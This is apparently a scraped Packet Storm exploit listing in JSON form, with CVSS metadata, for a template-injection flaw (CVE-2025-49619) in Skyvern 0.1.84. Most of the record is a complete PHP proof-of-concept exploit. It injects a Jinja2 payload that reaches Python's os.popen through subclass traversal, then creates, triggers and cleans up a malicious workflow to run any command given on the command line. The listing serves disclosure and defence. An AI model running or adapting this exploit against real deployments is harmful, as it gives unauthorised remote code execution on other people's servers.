{“lastseen”:”2026-02-19T16:30:20″,”description”:”Skyvern version 0.1.84 remote code execution proof of concept exploit that leverages a vulnerability in workflow creation functionality where user-supplied input in the prompt field is processed through Jinja2 templating engine without proper…”,”published”:”2026-02-19T00:00:00″,”modified”:”2026-02-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Skyvern 0.1.84 Template Injection \/ Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215882″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-49619″],”sourceData”:”=============================================================================================================================================\\n | # Title : Skyvern 0.1.84 Code Execution Vulnerability Analysis |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.skyvern.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n The vulnerability exists in the workflow creation functionality where user-supplied input \\n \\t\\t\\t in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands..\\n \\t\\t\\t \\n [+] POC : \\n \\n php poc.php \\n \\n \\u003c?php\\n \\n class SkyvernSSTI_RCE {\\n \\n private $target;\\n private $api_key;\\n private $workflow_id;\\n \\n public function __construct($target, $api_key) {\\n $this-\\u003etarget = rtrim($target, ‘\/’);\\n $this-\\u003eapi_key = $api_key;\\n $this-\\u003eworkflow_id = null;\\n }\\n \\n private function send_request($method, $endpoint, $data = null) {\\n $url = $this-\\u003etarget . $endpoint;\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_TIMEOUT =\\u003e 30,\\n CURLOPT_HTTPHEADER =\\u003e [\\n ‘X-API-Key: ‘ . $this-\\u003eapi_key,\\n ‘Content-Type: application\/json’\\n ],\\n CURLOPT_CUSTOMREQUEST =\\u003e $method,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false\\n ]);\\n \\n if ($data !== null) {\\n curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));\\n }\\n \\n $response = curl_exec($ch);\\n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n $error = curl_error($ch);\\n curl_close($ch);\\n \\n if ($error) {\\n throw new Exception(\\”Request failed: \\” . $error);\\n }\\n \\n return [\\n ‘code’ =\\u003e $http_code,\\n ‘body’ =\\u003e $response\\n ];\\n }\\n \\n private function create_workflow_json($payload) {\\n return [\\n ‘title’ =\\u003e $this-\\u003erandom_string(8),\\n ‘description’ =\\u003e ”,\\n ‘proxy_location’ =\\u003e ‘RESIDENTIAL’,\\n ‘webhook_callback_url’ =\\u003e ”,\\n ‘persist_browser_session’ =\\u003e false,\\n ‘model’ =\\u003e null,\\n ‘totp_verification_url’ =\\u003e null,\\n ‘workflow_definition’ =\\u003e [\\n ‘parameters’ =\\u003e [],\\n ‘blocks’ =\\u003e [\\n [\\n ‘label’ =\\u003e ‘block_1’,\\n ‘continue_on_failure’ =\\u003e false,\\n ‘block_type’ =\\u003e ‘task_v2’,\\n ‘prompt’ =\\u003e $this-\\u003egenerate_payload($payload),\\n ‘url’ =\\u003e ”,\\n ‘max_steps’ =\\u003e 25,\\n ‘totp_identifier’ =\\u003e null,\\n ‘totp_verification_url’ =\\u003e null\\n ]\\n ]\\n ],\\n ‘is_saved_task’ =\\u003e false\\n ];\\n }\\n \\n private function generate_payload($command) {\\n return \\n \\”{% for x in ().__class__.__base__.__subclasses__() %}\\\\n\\” .\\n \\” {% if ‘warning’ in x.__name__ %}\\\\n\\” .\\n \\” {{ x()._module.__builtins__[‘__import__’](‘os’).popen(\\\\\\”\\” . \\n addslashes($command) . \\”\\\\\\”).read() }}\\\\n\\” .\\n \\” {% endif %}\\\\n\\” .\\n \\”{% endfor %}\\”;\\n }\\n \\n private function random_string($length = 8) {\\n $characters = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’;\\n $result = ”;\\n for ($i = 0; $i \\u003c $length; $i++) {\\n $result .= $characters[rand(0, strlen($characters) – 1)];\\n }\\n return $result;\\n }\\n \\n public function check() {\\n try {\\n $response = $this-\\u003esend_request(‘GET’, ‘\/api\/v1\/workflows’);\\n \\n if ($response[‘code’] !== 200) {\\n return \\”Target is probably not Skyvern or API key is invalid\\”;\\n }\\n \\n $json_response = json_decode($response[‘body’], true);\\n if ($json_response === null) {\\n return \\”Failed to parse response – target may not be Skyvern\\”;\\n }\\n \\n return \\”Target appears to be Skyvern and is accessible\\”;\\n \\n } catch (Exception $e) {\\n return \\”Check failed: \\” . $e-\\u003egetMessage();\\n }\\n }\\n \\n public function create_workflow($payload) {\\n try {\\n $workflow_data = $this-\\u003ecreate_workflow_json($payload);\\n $response = $this-\\u003esend_request(‘POST’, ‘\/api\/v1\/workflows’, $workflow_data);\\n \\n if ($response[‘code’] !== 200) {\\n throw new Exception(\\”Failed to create workflow. HTTP Code: \\” . $response[‘code’]);\\n }\\n \\n $json_response = json_decode($response[‘body’], true);\\n if (!isset($json_response[‘workflow_permanent_id’])) {\\n throw new Exception(\\”Workflow ID not found in response\\”);\\n }\\n \\n $this-\\u003eworkflow_id = $json_response[‘workflow_permanent_id’];\\n echo \\”[+] Workflow created successfully. ID: \\” . $this-\\u003eworkflow_id . \\”\\\\n\\”;\\n return true;\\n \\n } catch (Exception $e) {\\n echo \\”[-] Failed to create workflow: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function trigger_workflow() {\\n if (!$this-\\u003eworkflow_id) {\\n echo \\”[-] No workflow ID available\\\\n\\”;\\n return false;\\n }\\n \\n try {\\n $data = [‘workflow_id’ =\\u003e $this-\\u003eworkflow_id];\\n $response = $this-\\u003esend_request(‘POST’, \\”\/api\/v1\/workflows\/{$this-\\u003eworkflow_id}\/run\\”, $data);\\n \\n if ($response[‘code’] !== 200) {\\n throw new Exception(\\”Failed to trigger workflow. HTTP Code: \\” . $response[‘code’]);\\n }\\n \\n $json_response = json_decode($response[‘body’], true);\\n if (!isset($json_response[‘workflow_id’]) \\u0026\\u0026 !isset($json_response[‘workflow_run_id’])) {\\n throw new Exception(\\”Workflow execution response invalid\\”);\\n }\\n \\n echo \\”[+] Workflow triggered successfully\\\\n\\”;\\n return true;\\n \\n } catch (Exception $e) {\\n echo \\”[-] Failed to trigger workflow: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function cleanup() {\\n if (!$this-\\u003eworkflow_id) {\\n return;\\n }\\n \\n try {\\n $this-\\u003esend_request(‘DELETE’, \\”\/api\/v1\/workflows\/{$this-\\u003eworkflow_id}\\”);\\n echo \\”[+] Workflow cleaned up\\\\n\\”;\\n } catch (Exception $e) {\\n echo \\”[-] Failed to cleanup workflow: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n }\\n }\\n \\n public function exploit($command) {\\n echo \\”[*] Starting exploitation…\\\\n\\”;\\n \\n echo \\”[*] Checking target…\\\\n\\”;\\n $check_result = $this-\\u003echeck();\\n echo \\”[*] Check result: \\” . $check_result . \\”\\\\n\\”;\\n echo \\”[*] Creating malicious workflow…\\\\n\\”;\\n if (!$this-\\u003ecreate_workflow($command)) {\\n return false;\\n }\\n \\n echo \\”[*] Triggering workflow execution…\\\\n\\”;\\n if (!$this-\\u003etrigger_workflow()) {\\n return false;\\n }\\n \\n echo \\”[+] Exploitation completed. Command should be executed.\\\\n\\”;\\n return true;\\n }\\n }\\n \\n if (php_sapi_name() === ‘cli’) {\\n \\n if ($argc \\u003c 4) {\\n echo \\”Usage: php \\” . $argv[0] . \\” \\u003ctarget_url\\u003e \\u003capi_key\\u003e \\u003ccommand\\u003e\\\\n\\”;\\n echo \\”Example: php \\” . $argv[0] . \\” http:\/\/localhost:8000 abc123 \\\\\\”id\\\\\\”\\\\n\\”;\\n exit(1);\\n }\\n \\n $target = $argv[1];\\n $api_key = $argv[2];\\n $command = $argv[3];\\n \\n $exploit = new SkyvernSSTI_RCE($target, $api_key);\\n \\n try {\\n $exploit-\\u003eexploit($command);\\n } catch (Exception $e) {\\n echo \\”[-] Exploitation failed: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n } finally {\\n $exploit-\\u003ecleanup();\\n }\\n }\\n \\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215882″,”cvss”:{“score”:8.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215882\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-19T16:30:20″,”description”:”Skyvern version 0.1.84 remote code execution proof of concept exploit that leverages a vulnerability in workflow creation functionality where user-supplied input in the prompt field…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,44,12,15,13,53,7,11,5],"class_list":["post-41640","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-85","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n